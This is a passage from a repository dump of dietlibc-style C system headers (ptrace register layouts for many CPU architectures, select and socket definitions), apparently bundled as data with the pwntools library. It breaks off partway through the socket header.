PTRACE_O_MASK\t\t0x0000007f\n\n/* Wait extended result codes for the above trace options.  */\n#define PTRACE_EVENT_FORK\t1\n#define PTRACE_EVENT_VFORK\t2\n#define PTRACE_EVENT_CLONE\t3\n#define PTRACE_EVENT_EXEC\t4\n#define PTRACE_EVENT_VFORK_DONE\t5\n#define PTRACE_EVENT_EXIT\t6\n\n#define PT_TRACE_ME\t\tPTRACE_TRACEME\n#define PT_READ_I\t\tPTRACE_PEEKTEXT\n#define PT_READ_D\t\tPTRACE_PEEKDATA\n#define PT_READ_U\t\tPTRACE_PEEKUSER\n#define PT_WRITE_I\t\tPTRACE_POKETEXT\n#define PT_WRITE_D\t\tPTRACE_POKEDATA\n#define PT_WRITE_U\t\tPTRACE_POKEUSER\n#define PT_CONTINUE\t\tPTRACE_CONT\n#define PT_KILL\t\t\tPTRACE_KILL\n#define PT_STEP\t\t\tPTRACE_SINGLESTEP\n#define PT_GETREGS\t\tPTRACE_GETREGS\n#define PT_SETREGS\t\tPTRACE_SETREGS\n#define PT_GETFPREGS\t\tPTRACE_GETFPREGS\n#define PT_SETFPREGS\t\tPTRACE_SETFPREGS\n#define PT_ATTACH\t\tPTRACE_ATTACH\n#define PT_DETACH\t\tPTRACE_DETACH\n\n#if defined(__i386__)\n#define EBX 0\n#define ECX 1\n#define EDX 2\n#define ESI 3\n#define EDI 4\n#define EBP 5\n#define EAX 6\n#define DS 7\n#define ES 8\n#define FS 9\n#define GS 10\n#define ORIG_EAX 11\n#define EIP 12\n#define CS  13\n#define EFL 14\n#define UESP 15\n#define SS   16\n#define FRAME_SIZE 17\n\n/* this struct defines the way the registers are stored on the\n   stack during a system call. */\n\nstruct pt_regs {\n  long ebx;\n  long ecx;\n  long edx;\n  long esi;\n  long edi;\n  long ebp;\n  long eax;\n  int32_t xds;\n  int32_t xes;\n  long orig_eax;\n  long eip;\n  int32_t xcs;\n  long eflags;\n  long esp;\n  int32_t xss;\n};\n\n/* Arbitrarily choose the same ptrace numbers as used by the Sparc code. */\n#define PTRACE_GETREGS            12\n#define PTRACE_SETREGS            13\n#define PTRACE_GETFPREGS          14\n#define PTRACE_SETFPREGS          15\n#define PTRACE_GETFPXREGS         18\n#define PTRACE_SETFPXREGS         19\n\n#define PTRACE_SETOPTIONS         21\n\n/* options set using PTRACE_SETOPTIONS */\n#define PTRACE_O_TRACESYSGOOD     0x00000001\n\n#elif defined(__x86_64__)\n\nstruct pt_regs {\n\tunsigned long r15;\n\tunsigned long r14;\n\tunsigned long r13;\n\tunsigned long r12;\n\tunsigned long rbp;\n\tunsigned long rbx;\n/* arguments: non interrupts/non tracing syscalls only save upto here*/\n\tunsigned long r11;\n\tunsigned long r10;\n\tunsigned long r9;\n\tunsigned long r8;\n\tunsigned long rax;\n\tunsigned long rcx;\n\tunsigned long rdx;\n\tunsigned long rsi;\n\tunsigned long rdi;\n\tunsigned long orig_rax;\n/* end of arguments */\n/* cpu exception frame or undefined */\n\tunsigned long rip;\n\tunsigned long cs;\n\tunsigned long eflags;\n\tunsigned long rsp;\n\tunsigned long ss;\n/* top of stack page */\n};\n\n#elif defined(__s390__)\n\n#define PT_PSWMASK  0x00\n#define PT_PSWADDR  0x04\n#define PT_GPR0     0x08\n#define PT_GPR1     0x0C\n#define PT_GPR2     0x10\n#define PT_GPR3     0x14\n#define PT_GPR4     0x18\n#define PT_GPR5     0x1C\n#define PT_GPR6     0x20\n#define PT_GPR7     0x24\n#define PT_GPR8     0x28\n#define PT_GPR9     0x2C\n#define PT_GPR10    0x30\n#define PT_GPR11    0x34\n#define PT_GPR12    0x38\n#define PT_GPR13    0x3C\n#define PT_GPR14    0x40\n#define PT_GPR15    0x44\n#define PT_ACR0     0x48\n#define PT_ACR1     0x4C\n#define PT_ACR2     0x50\n#define PT_ACR3     0x54\n#define PT_ACR4\t    0x58\n#define PT_ACR5\t    0x5C\n#define PT_ACR6\t    0x60\n#define PT_ACR7\t    0x64\n#define PT_ACR8\t    0x68\n#define PT_ACR9\t    0x6C\n#define PT_ACR10    0x70\n#define PT_ACR11    0x74\n#define PT_ACR12    0x78\n#define PT_ACR13    0x7C\n#define PT_ACR14    0x80\n#define PT_ACR15    0x84\n#define PT_ORIGGPR2 0x88\n#define PT_FPC\t    0x90\n#define PT_FPR0_HI  0x98\n#define PT_FPR0_LO  0x9C\n#define PT_FPR1_HI  0xA0\n#define PT_FPR1_LO  0xA4\n#define PT_FPR2_HI  0xA8\n#define PT_FPR2_LO  0xAC\n#define PT_FPR3_HI  0xB0\n#define PT_FPR3_LO  0xB4\n#define PT_FPR4_HI  0xB8\n#define PT_FPR4_LO  0xBC\n#define PT_FPR5_HI  0xC0\n#define PT_FPR5_LO  0xC4\n#define PT_FPR6_HI  0xC8\n#define PT_FPR6_LO  0xCC\n#define PT_FPR7_HI  0xD0\n#define PT_FPR7_LO  0xD4\n#define PT_FPR8_HI  0xD8\n#define PT_FPR8_LO  0XDC\n#define PT_FPR9_HI  0xE0\n#define PT_FPR9_LO  0xE4\n#define PT_FPR10_HI 0xE8\n#define PT_FPR10_LO 0xEC\n#define PT_FPR11_HI 0xF0\n#define PT_FPR11_LO 0xF4\n#define PT_FPR12_HI 0xF8\n#define PT_FPR12_LO 0xFC\n#define PT_FPR13_HI 0x100\n#define PT_FPR13_LO 0x104\n#define PT_FPR14_HI 0x108\n#define PT_FPR14_LO 0x10C\n#define PT_FPR15_HI 0x110\n#define PT_FPR15_LO 0x114\n#define PT_CR_9\t    0x118\n#define PT_CR_10    0x11C\n#define PT_CR_11    0x120\n#define PT_IEEE_IP  0x13C\n#define PT_LASTOFF  PT_IEEE_IP\n#define PT_ENDREGS  0x140-1\n\n#define NUM_GPRS\t16\n#define NUM_FPRS\t16\n#define NUM_CRS\t\t16\n#define NUM_ACRS\t16\n#define GPR_SIZE\t4\n#define FPR_SIZE\t8\n#define FPC_SIZE\t4\n#define FPC_PAD_SIZE\t4 /* gcc insists on aligning the fpregs */\n#define CR_SIZE\t\t4\n#define ACR_SIZE\t4\n\n#define STACK_FRAME_OVERHEAD\t96\t/* size of minimum stack frame */\n\n/* this typedef defines how a Program Status Word looks like */\ntypedef struct {\n        uint32_t   mask;\n        uint32_t   addr;\n} psw_t __attribute__ ((__aligned__(8)));\n\ntypedef union\n{\n\tfloat   f;\n\tdouble  d;\n        uint64_t   ui;\n\tstruct\n\t{\n\t\tuint32_t hi;\n\t\tuint32_t lo;\n\t} fp;\n} freg_t;\n\ntypedef struct\n{\n\tuint32_t   fpc;\n\tfreg_t  fprs[NUM_FPRS];\n} s390_fp_regs;\n\n#define FPC_EXCEPTION_MASK      0xF8000000\n#define FPC_FLAGS_MASK          0x00F80000\n#define FPC_DXC_MASK            0x0000FF00\n#define FPC_RM_MASK             0x00000003\n#define FPC_VALID_MASK          0xF8F8FF03\n\ntypedef struct\n{\n\tpsw_t psw;\n\tuint32_t gprs[NUM_GPRS];\n\tuint32_t acrs[NUM_ACRS];\n\tuint32_t orig_gpr2;\n} s390_regs;\n\nstruct pt_regs\n{\n\tpsw_t psw;\n\tuint32_t gprs[NUM_GPRS];\n\tuint32_t acrs[NUM_ACRS];\n\tuint32_t orig_gpr2;\n\tuint32_t trap;\n        uint32_t old_ilc;\n};\n\ntypedef struct\n{\n\tuint32_t cr[3];\n} per_cr_words  __attribute__((__packed__));\n\n#define PER_EM_MASK 0xE8000000\n\ntypedef uint32_t addr_t;\n\ntypedef\tstruct\n{\n\tuint32_t em_branching          : 1;\n\tuint32_t em_instruction_fetch  : 1;\n\t/*\n\t * Switching on storage alteration automatically fixes\n\t * the storage alteration event bit in the users std.\n\t */\n\tuint32_t em_storage_alteration : 1;\n\tuint32_t em_gpr_alt_unused     : 1;\n\tuint32_t em_store_real_address : 1;\n\tuint32_t                       : 3;\n\tuint32_t branch_addr_ctl       : 1;\n\tuint32_t                       : 1;\n\tuint32_t storage_alt_space_ctl : 1;\n\tuint32_t                       : 21;\n\taddr_t   starting_addr;\n\taddr_t   ending_addr;\n} per_cr_bits  __attribute__((__packed__));\n\ntypedef struct\n{\n\tuint16_t          perc_atmid;          /* 0x096 */\n\tuint32_t          address;             /* 0x098 */\n\tuint8_t           access_id;           /* 0x0a1 */\n} per_lowcore_words  __attribute__((__packed__));\n\ntypedef struct\n{\n\tuint32_t perc_branching          : 1; /* 0x096 */\n\tuint32_t perc_instruction_fetch  : 1;\n\tuint32_t perc_storage_alteration : 1;\n\tuint32_t perc_gpr_alt_unused     : 1;\n\tuint32_t perc_store_real_address : 1;\n\tuint32_t                         : 4;\n\tuint32_t atmid_validity_bit      : 1;\n\tuint32_t atmid_psw_bit_32        : 1;\n\tuint32_t atmid_psw_bit_5         : 1;\n\tuint32_t atmid_psw_bit_16        : 1;\n\tuint32_t atmid_psw_bit_17        : 1;\n\tuint32_t si                      : 2;\n\taddr_t   address;                     /* 0x098 */\n\tuint32_t                         : 4; /* 0x0a1 */\n\tuint32_t access_id               : 4;\n} per_lowcore_bits __attribute__((__packed__));\n\ntypedef struct\n{\n\tunion {\n\t\tper_cr_words   words;\n\t\tper_cr_bits    bits;\n\t} control_regs  __attribute__((__packed__));\n\t/*\n\t * Use these flags instead of setting em_instruction_fetch\n\t * directly they are used so that single stepping can be\n\t * switched on & off while not affecting other tracing\n\t */\n\tuint32_t  single_step       : 1;\n\tuint32_t  instruction_fetch : 1;\n\tuint32_t                    : 30;\n\t/*\n\t * These addresses are copied into cr10 & cr11 if single\n\t * stepping is switched off\n\t */\n\tuint32_t     starting_addr;\n\tuint32_t     ending_addr;\n\tunion {\n\t\tper_lowcore_words words;\n\t\tper_lowcore_bits  bits;\n\t} lowcore;\n} per_struct __attribute__((__packed__));\n\ntypedef struct\n{\n\tuint32_t  len;\n\taddr_t kernel_addr;\n\taddr_t process_addr;\n} ptrace_area;\n\n/*\n * S/390 specific non posix ptrace requests. I chose unusual values so\n * they are unlikely to clash with future ptrace definitions.\n */\n#define PTRACE_PEEKUSR_AREA           0x5000\n#define PTRACE_POKEUSR_AREA           0x5001\n#define PTRACE_PEEKTEXT_AREA\t      0x5002\n#define PTRACE_PEEKDATA_AREA\t      0x5003\n#define PTRACE_POKETEXT_AREA\t      0x5004\n#define PTRACE_POKEDATA_AREA \t      0x5005\n/*\n * PT_PROT definition is loosely based on hppa bsd definition in\n * gdb/hppab-nat.c\n */\n#define PTRACE_PROT                       21\n\ntypedef enum\n{\n\tptprot_set_access_watchpoint,\n\tptprot_set_write_watchpoint,\n\tptprot_disable_watchpoint\n} ptprot_flags;\n\ntypedef struct\n{\n\taddr_t           lowaddr;\n\taddr_t           hiaddr;\n\tptprot_flags     prot;\n} ptprot_area;\n\n/* Sequence of bytes for breakpoint illegal instruction.  */\n#define S390_BREAKPOINT     {0x0,0x1}\n#define S390_BREAKPOINT_U16 ((uint16_t)0x0001)\n#define S390_SYSCALL_OPCODE ((uint16_t)0x0a00)\n#define S390_SYSCALL_SIZE   2\n\n/*\n * The user_regs_struct defines the way the user registers are\n * store on the stack for signal handling.\n */\nstruct user_regs_struct\n{\n\tpsw_t psw;\n\tuint32_t gprs[NUM_GPRS];\n\tuint32_t acrs[NUM_ACRS];\n\tuint32_t orig_gpr2;\n\ts390_fp_regs fp_regs;\n\t/*\n\t * These per registers are in here so that gdb can modify them\n\t * itself as there is no \"official\" ptrace interface for hardware\n\t * watchpoints. This is the way intel does it.\n\t */\n\tper_struct per_info;\n\taddr_t  ieee_instruction_pointer;\n\t/* Used to give failing instruction back to user for ieee exceptions */\n};\n\n#elif defined(__arm__)\n\n/* this assumes armv */\n#define USR26_MODE\t0x00\n#define FIQ26_MODE\t0x01\n#define IRQ26_MODE\t0x02\n#define SVC26_MODE\t0x03\n#define USR_MODE\t0x10\n#define FIQ_MODE\t0x11\n#define IRQ_MODE\t0x12\n#define SVC_MODE\t0x13\n#define ABT_MODE\t0x17\n#define UND_MODE\t0x1b\n#define SYSTEM_MODE\t0x1f\n#define MODE_MASK\t0x1f\n#define T_BIT\t\t0x20\n#define F_BIT\t\t0x40\n#define I_BIT\t\t0x80\n#define CC_V_BIT\t(1 << 28)\n#define CC_C_BIT\t(1 << 29)\n#define CC_Z_BIT\t(1 << 30)\n#define CC_N_BIT\t(1 << 31)\n#define PCMASK\t\t0\n\nstruct pt_regs {\n\tlong uregs[18];\n};\n\n#define ARM_cpsr\turegs[16]\n#define ARM_pc\t\turegs[15]\n#define ARM_lr\t\turegs[14]\n#define ARM_sp\t\turegs[13]\n#define ARM_ip\t\turegs[12]\n#define ARM_fp\t\turegs[11]\n#define ARM_r10\t\turegs[10]\n#define ARM_r9\t\turegs[9]\n#define ARM_r8\t\turegs[8]\n#define ARM_r7\t\turegs[7]\n#define ARM_r6\t\turegs[6]\n#define ARM_r5\t\turegs[5]\n#define ARM_r4\t\turegs[4]\n#define ARM_r3\t\turegs[3]\n#define ARM_r2\t\turegs[2]\n#define ARM_r1\t\turegs[1]\n#define ARM_r0\t\turegs[0]\n#define ARM_ORIG_r0\turegs[17]\n\n#elif defined(__aarch64__)\n\n/*\n * PSR bits\n */\n#define PSR_MODE_EL0t   0x00000000\n#define PSR_MODE_EL1t   0x00000004\n#define PSR_MODE_EL1h   0x00000005\n#define PSR_MODE_EL2t   0x00000008\n#define PSR_MODE_EL2h   0x00000009\n#define PSR_MODE_EL3t   0x0000000c\n#define PSR_MODE_EL3h   0x0000000d\n#define PSR_MODE_MASK   0x0000000f\n\n/* AArch32 CPSR bits */\n#define PSR_MODE32_BIT          0x00000010\n\n/* AArch64 SPSR bits */\n#define PSR_F_BIT       0x00000040\n#define PSR_I_BIT       0x00000080\n#define PSR_A_BIT       0x00000100\n#define PSR_D_BIT       0x00000200\n#define PSR_Q_BIT       0x08000000\n#define PSR_V_BIT       0x10000000\n#define PSR_C_BIT       0x20000000\n#define PSR_Z_BIT       0x40000000\n#define PSR_N_BIT       0x80000000\n\n/*\n * Groups of PSR bits\n */\n#define PSR_f           0xff000000      /* Flags                */\n#define PSR_s           0x00ff0000      /* Status               */\n#define PSR_x           0x0000ff00      /* Extension            */\n#define PSR_c           0x000000ff      /* Control              */\n\nstruct pt_regs {\n  uint64_t regs[31];\n  uint64_t sp;\n  uint64_t pc;\n  uint64_t pstate;\n};\n\nstruct fpsimd_state {\n  __uint128_t vregs[32];\n  uint32_t fpsr;\n  uint32_t fpcr;\n};\n\nstruct hwdebug_state {\n  uint32_t dbg_info;\n  uint32_t pad;\n  struct {\n    uint64_t addr;\n    uint32_t ctrl;\n    uint32_t pad;\n  } dbg_regs[16];\n};\n\n#elif defined(__alpha__)\n\nstruct pt_regs {\n  unsigned long r0;\n  unsigned long r1;\n  unsigned long r2;\n  unsigned long r3;\n  unsigned long r4;\n  unsigned long r5;\n  unsigned long r6;\n  unsigned long r7;\n  unsigned long r8;\n  unsigned long r19;\n  unsigned long r20;\n  unsigned long r21;\n  unsigned long r22;\n  unsigned long r23;\n  unsigned long r24;\n  unsigned long r25;\n  unsigned long r26;\n  unsigned long r27;\n  unsigned long r28;\n  unsigned long hae;\n/* JRP - These are the values provided to a0-a2 by PALcode */\n  unsigned long trap_a0;\n  unsigned long trap_a1;\n  unsigned long trap_a2;\n/* These are saved by PAL-code: */\n  unsigned long ps;\n  unsigned long pc;\n  unsigned long gp;\n  unsigned long r16;\n  unsigned long r17;\n  unsigned long r18;\n};\n\nstruct switch_stack {\n  unsigned long r9;\n  unsigned long r10;\n  unsigned long r11;\n  unsigned long r12;\n  unsigned long r13;\n  unsigned long r14;\n  unsigned long r15;\n  unsigned long r26;\n  unsigned long fp[32];\t/* fp[31] is fpcr */\n};\n\n#elif defined(__mips64__)\n\n/* 0 - 31 are integer registers, 32 - 63 are fp registers.  */\n#define FPR_BASE        32\n#define PC              64\n#define CAUSE           65\n#define BADVADDR        66\n#define MMHI            67\n#define MMLO            68\n#define FPC_CSR         69\n#define FPC_EIR         70\n#define DSP_BASE        71              /* 3 more hi / lo register pairs */\n#define DSP_CONTROL     77\n#define ACX             78\n\nstruct pt_regs {\n  /* Saved main processor registers. */\n  unsigned long regs[32];\n\n  /* Saved special registers. */\n  unsigned long lo;\n  unsigned long hi;\n  unsigned long cp0_epc;\n  unsigned long cp0_badvaddr;\n  unsigned long cp0_status;\n  unsigned long cp0_cause;\n} __attribute__ ((aligned (8)));\n\n\n#elif defined(__mips__)\n\n/* 0 - 31 are integer registers, 32 - 63 are fp registers.  */\n#define FPR_BASE\t32\n#define PC\t\t64\n#define CAUSE\t\t65\n#define BADVADDR\t66\n#define MMHI\t\t67\n#define MMLO\t\t68\n#define FPC_CSR\t\t69\n#define FPC_EIR\t\t70\n\nstruct pt_regs {\n  /* Pad bytes for argument save space on the stack. */\n  unsigned long pad0[6];\n  /* Saved main processor registers. */\n  unsigned long regs[32];\n  /* Other saved registers. */\n  unsigned long lo;\n  unsigned long hi;\n  /* saved cp0 registers */\n  unsigned long cp0_epc;\n  unsigned long cp0_badvaddr;\n  unsigned long cp0_status;\n  unsigned long cp0_cause;\n};\n\n#elif defined(__sparc__)\n\nstruct pt_regs {\n  unsigned long psr;\n  unsigned long pc;\n  unsigned long npc;\n  unsigned long y;\n  unsigned long u_regs[16]; /* globals and ins */\n};\n\n#define UREG_G0        0\n#define UREG_G1        1\n#define UREG_G2        2\n#define UREG_G3        3\n#define UREG_G4        4\n#define UREG_G5        5\n#define UREG_G6        6\n#define UREG_G7        7\n#define UREG_I0        8\n#define UREG_I1        9\n#define UREG_I2        10\n#define UREG_I3        11\n#define UREG_I4        12\n#define UREG_I5        13\n#define UREG_I6        14\n#define UREG_I7        15\n#define UREG_WIM       UREG_G0\n#define UREG_FADDR     UREG_G0\n#define UREG_FP        UREG_I6\n#define UREG_RETPC     UREG_I7\n\n/* A register window */\nstruct reg_window {\n  unsigned long locals[8];\n  unsigned long ins[8];\n};\n\n/* A Sparc stack frame */\nstruct sparc_stackf {\n  unsigned long locals[8];\n  unsigned long ins[6];\n  struct sparc_stackf *fp;\n  unsigned long callers_pc;\n  char *structptr;\n  unsigned long xargs[6];\n  unsigned long xxargs[1];\n};\n\n#define TRACEREG_SZ   sizeof(struct pt_regs)\n#define STACKFRAME_SZ sizeof(struct sparc_stackf)\n#define REGWIN_SZ     sizeof(struct reg_window)\n\n/* These are for pt_regs. */\n#define PT_PSR    0x0\n#define PT_PC     0x4\n#define PT_NPC    0x8\n#define PT_Y      0xc\n#define PT_G0     0x10\n#define PT_WIM    PT_G0\n#define PT_G1     0x14\n#define PT_G2     0x18\n#define PT_G3     0x1c\n#define PT_G4     0x20\n#define PT_G5     0x24\n#define PT_G6     0x28\n#define PT_G7     0x2c\n#define PT_I0     0x30\n#define PT_I1     0x34\n#define PT_I2     0x38\n#define PT_I3     0x3c\n#define PT_I4     0x40\n#define PT_I5     0x44\n#define PT_I6     0x48\n#define PT_FP     PT_I6\n#define PT_I7     0x4c\n\n/* Reg_window offsets */\n#define RW_L0     0x00\n#define RW_L1     0x04\n#define RW_L2     0x08\n#define RW_L3     0x0c\n#define RW_L4     0x10\n#define RW_L5     0x14\n#define RW_L6     0x18\n#define RW_L7     0x1c\n#define RW_I0     0x20\n#define RW_I1     0x24\n#define RW_I2     0x28\n#define RW_I3     0x2c\n#define RW_I4     0x30\n#define RW_I5     0x34\n#define RW_I6     0x38\n#define RW_I7     0x3c\n\n/* Stack_frame offsets */\n#define SF_L0     0x00\n#define SF_L1     0x04\n#define SF_L2     0x08\n#define SF_L3     0x0c\n#define SF_L4     0x10\n#define SF_L5     0x14\n#define SF_L6     0x18\n#define SF_L7     0x1c\n#define SF_I0     0x20\n#define SF_I1     0x24\n#define SF_I2     0x28\n#define SF_I3     0x2c\n#define SF_I4     0x30\n#define SF_I5     0x34\n#define SF_FP     0x38\n#define SF_PC     0x3c\n#define SF_RETP   0x40\n#define SF_XARG0  0x44\n#define SF_XARG1  0x48\n#define SF_XARG2  0x4c\n#define SF_XARG3  0x50\n#define SF_XARG4  0x54\n#define SF_XARG5  0x58\n#define SF_XXARG  0x5c\n\n/* Stuff for the ptrace system call */\n#define PTRACE_SUNATTACH\t  10\n#define PTRACE_SUNDETACH\t  11\n#define PTRACE_GETREGS            12\n#define PTRACE_SETREGS            13\n#define PTRACE_GETFPREGS          14\n#define PTRACE_SETFPREGS          15\n#define PTRACE_READDATA           16\n#define PTRACE_WRITEDATA          17\n#define PTRACE_READTEXT           18\n#define PTRACE_WRITETEXT          19\n#define PTRACE_GETFPAREGS         20\n#define PTRACE_SETFPAREGS         21\n\n#define PTRACE_GETUCODE           29  /* stupid bsd-ism */\n\n#elif defined(__powerpc__) || defined (__powerpc64__)\n\n#include <asm/sigcontext.h>\n\n#elif defined(__hppa__)\n\n#include <inttypes.h>\n\nstruct pt_regs {\n\tunsigned long gr[32];\t/* PSW is in gr[0] */\n\tuint64_t fr[32];\n\tunsigned long sr[ 8];\n\tunsigned long iasq[2];\n\tunsigned long iaoq[2];\n\tunsigned long cr27;\n\tunsigned long pad0;     /* available for other uses */\n\tunsigned long orig_r28;\n\tunsigned long ksp;\n\tunsigned long kpc;\n\tunsigned long sar;\t/* CR11 */\n\tunsigned long iir;\t/* CR19 */\n\tunsigned long isr;\t/* CR20 */\n\tunsigned long ior;\t/* CR21 */\n\tunsigned long ipsw;\t/* CR22 */\n};\n\n#define PTRACE_SINGLEBLOCK\t12\t/* resume execution until next branch */\n#define PTRACE_GETSIGINFO\t13\t/* get child's siginfo structure */\n#define PTRACE_SETSIGINFO\t14\t/* set child's siginfo structure */\n\n#elif defined(__ia64__)\n\nstruct ia64_fpreg {\n  union {\n    unsigned long bits[2];\n  } u;\n} __attribute__ ((__aligned__ (16)));\n\nstruct pt_regs {\n\tunsigned long cr_ipsr;\t\t/* interrupted task's psr */\n\tunsigned long cr_iip;\t\t/* interrupted task's instruction pointer */\n\tunsigned long cr_ifs;\t\t/* interrupted task's function state */\n\tunsigned long ar_unat;\t\t/* interrupted task's NaT register (preserved) */\n\tunsigned long ar_pfs;\t\t/* prev function state  */\n\tunsigned long ar_rsc;\t\t/* RSE configuration */\n\tunsigned long ar_rnat;\t\t/* RSE NaT */\n\tunsigned long ar_bspstore;\t/* RSE bspstore */\n\tunsigned long pr;\t\t/* 64 predicate registers (1 bit each) */\n\tunsigned long b6;\t\t/* scratch */\n\tunsigned long loadrs;\t\t/* size of dirty partition << 16 */\n\tunsigned long r1;\t\t/* the gp pointer */\n\tunsigned long r2;\t\t/* scratch */\n\tunsigned long r3;\t\t/* scratch */\n\tunsigned long r12;\t\t/* interrupted task's memory stack pointer */\n\tunsigned long r13;\t\t/* thread pointer */\n\tunsigned long r14;\t\t/* scratch */\n\tunsigned long r15;\t\t/* scratch */\n\tunsigned long r8;\t\t/* scratch (return value register 0) */\n\tunsigned long r9;\t\t/* scratch (return value register 1) */\n\tunsigned long r10;\t\t/* scratch (return value register 2) */\n\tunsigned long r11;\t\t/* scratch (return value register 3) */\n\tunsigned long r16;\t\t/* scratch */\n\tunsigned long r17;\t\t/* scratch */\n\tunsigned long r18;\t\t/* scratch */\n\tunsigned long r19;\t\t/* scratch */\n\tunsigned long r20;\t\t/* scratch */\n\tunsigned long r21;\t\t/* scratch */\n\tunsigned long r22;\t\t/* scratch */\n\tunsigned long r23;\t\t/* scratch */\n\tunsigned long r24;\t\t/* scratch */\n\tunsigned long r25;\t\t/* scratch */\n\tunsigned long r26;\t\t/* scratch */\n\tunsigned long r27;\t\t/* scratch */\n\tunsigned long r28;\t\t/* scratch */\n\tunsigned long r29;\t\t/* scratch */\n\tunsigned long r30;\t\t/* scratch */\n\tunsigned long r31;\t\t/* scratch */\n\tunsigned long ar_ccv;\t\t/* compare/exchange value (scratch) */\n\tunsigned long ar_fpsr;\t\t/* floating point status (preserved) */\n\tunsigned long b0;\t\t/* return pointer (bp) */\n\tunsigned long b7;\t\t/* scratch */\n\tstruct ia64_fpreg f6;\t\t/* scratch */\n\tstruct ia64_fpreg f7;\t\t/* scratch */\n\tstruct ia64_fpreg f8;\t\t/* scratch */\n\tstruct ia64_fpreg f9;\t\t/* scratch */\n};\n\nstruct switch_stack {\n\tunsigned long caller_unat;\t/* user NaT collection register (preserved) */\n\tunsigned long ar_fpsr;\t\t/* floating-point status register */\n\n\tstruct ia64_fpreg f2;\t\t/* preserved */\n\tstruct ia64_fpreg f3;\t\t/* preserved */\n\tstruct ia64_fpreg f4;\t\t/* preserved */\n\tstruct ia64_fpreg f5;\t\t/* preserved */\n\n\tstruct ia64_fpreg f10;\t\t/* scratch, but untouched by kernel */\n\tstruct ia64_fpreg f11;\t\t/* scratch, but untouched by kernel */\n\tstruct ia64_fpreg f12;\t\t/* scratch, but untouched by kernel */\n\tstruct ia64_fpreg f13;\t\t/* scratch, but untouched by kernel */\n\tstruct ia64_fpreg f14;\t\t/* scratch, but untouched by kernel */\n\tstruct ia64_fpreg f15;\t\t/* scratch, but untouched by kernel */\n\tstruct ia64_fpreg f16;\t\t/* preserved */\n\tstruct ia64_fpreg f17;\t\t/* preserved */\n\tstruct ia64_fpreg f18;\t\t/* preserved */\n\tstruct ia64_fpreg f19;\t\t/* preserved */\n\tstruct ia64_fpreg f20;\t\t/* preserved */\n\tstruct ia64_fpreg f21;\t\t/* preserved */\n\tstruct ia64_fpreg f22;\t\t/* preserved */\n\tstruct ia64_fpreg f23;\t\t/* preserved */\n\tstruct ia64_fpreg f24;\t\t/* preserved */\n\tstruct ia64_fpreg f25;\t\t/* preserved */\n\tstruct ia64_fpreg f26;\t\t/* preserved */\n\tstruct ia64_fpreg f27;\t\t/* preserved */\n\tstruct ia64_fpreg f28;\t\t/* preserved */\n\tstruct ia64_fpreg f29;\t\t/* preserved */\n\tstruct ia64_fpreg f30;\t\t/* preserved */\n\tstruct ia64_fpreg f31;\t\t/* preserved */\n\n\tunsigned long r4;\t\t/* preserved */\n\tunsigned long r5;\t\t/* preserved */\n\tunsigned long r6;\t\t/* preserved */\n\tunsigned long r7;\t\t/* preserved */\n\n\tunsigned long b0;\t\t/* so we can force a direct return in copy_thread */\n\tunsigned long b1;\n\tunsigned long b2;\n\tunsigned long b3;\n\tunsigned long b4;\n\tunsigned long b5;\n\n\tunsigned long ar_pfs;\t\t/* previous function state */\n\tunsigned long ar_lc;\t\t/* loop counter (preserved) */\n\tunsigned long ar_unat;\t\t/* NaT bits for r4-r7 */\n\tunsigned long ar_rnat;\t\t/* RSE NaT collection register */\n\tunsigned long ar_bspstore;\t/* RSE dirty base (preserved) */\n\tunsigned long pr;\t\t/* 64 predicate registers (1 bit each) */\n};\n\n#endif\n\nextern long int ptrace(int request, ...) __THROW;\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sys/select.h",
    "content": "#ifndef _SYS_SELECT_H\n#define _SYS_SELECT_H\n\n#include <string.h>\n#include <signal.h>\n\n__BEGIN_DECLS\n\ntypedef long int fd_mask;\n\n#define NFDBITS\t(8 * sizeof(unsigned long))\n#define FD_SETSIZE\t1024\n#define __FDSET_LONGS\t(FD_SETSIZE/NFDBITS)\n#define __FDELT(d)\t((d) / NFDBITS)\n#define __FDMASK(d)\t(1UL << ((d) % NFDBITS))\n\ntypedef struct {\n  unsigned long fds_bits [__FDSET_LONGS];\n} fd_set;\n\n#define FD_SET(d, set)\t((set)->fds_bits[__FDELT(d)] |= __FDMASK(d))\n#define FD_CLR(d, set)\t((set)->fds_bits[__FDELT(d)] &= ~__FDMASK(d))\n#define FD_ISSET(d, set)\t(((set)->fds_bits[__FDELT(d)] & __FDMASK(d)) != 0)\n#define FD_ZERO(set)\t\\\n  ((void) memset ((void*) (set), 0, sizeof (fd_set)))\n\nint select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout) __THROW;\n\nint pselect(int n, fd_set* readfds, fd_set* writefds, fd_set* exceptfds,\n            const struct timespec *timeout, const sigset_t *sigmask) __THROW;\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sys/socket.h",
    "content": "#ifndef _SYS_SOCKET_H\n#define _SYS_SOCKET_H\n\n#include <sys/cdefs.h>\n#include <sys/types.h>\n#include <fcntl.h>\n#include <sys/uio.h>\n\n__BEGIN_DECLS\n\n/* For setsockopt(2) */\n\n#if defined(__alpha__) || defined(__mips__)\n#define SOL_SOCKET\t0xffff\n\n#define SO_DEBUG\t0x0001\n#define SO_REUSEADDR\t0x0004\n#define SO_KEEPALIVE\t0x0008\n#define SO_DONTROUTE\t0x0010\n#define SO_BROADCAST\t0x0020\n#define SO_LINGER\t0x0080\n#define SO_OOBINLINE\t0x0100\n#define SO_REUSEPORT\t0x0200\n#define SO_TYPE\t\t0x1008\n#define SO_ERROR\t0x1007\n#define SO_SNDBUF\t0x1001\n#define SO_RCVBUF\t0x1002\n\n#define SO_NO_CHECK\t11\n#define SO_PRIORITY\t12\n#define SO_BSDCOMPAT\t14\n#define SO_PASSCRED\t17\n#define SO_PEERCRED\t18\n\n/* Security levels - as per NRL IPv6 - don't actually do anything */\n#ifdef __mips64__\n#define SO_SECURITY_AUTHENTICATION\t\t22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT\t23\n#define SO_SECURITY_ENCRYPTION_NETWORK\t\t24\n#else\n#define SO_SECURITY_AUTHENTICATION\t\t19\n#define SO_SECURITY_ENCRYPTION_TRANSPORT\t20\n#define SO_SECURITY_ENCRYPTION_NETWORK\t\t21\n#endif\n\n#define SO_BINDTODEVICE\t25\n#define SO_ATTACH_FILTER\t26\n#define SO_DETACH_FILTER\t27\n#define SO_GET_FILTER\tSO_ATTACH_FILTER\n#define SO_PEERNAME\t28\n#define SO_TIMESTAMP\t29\n#define 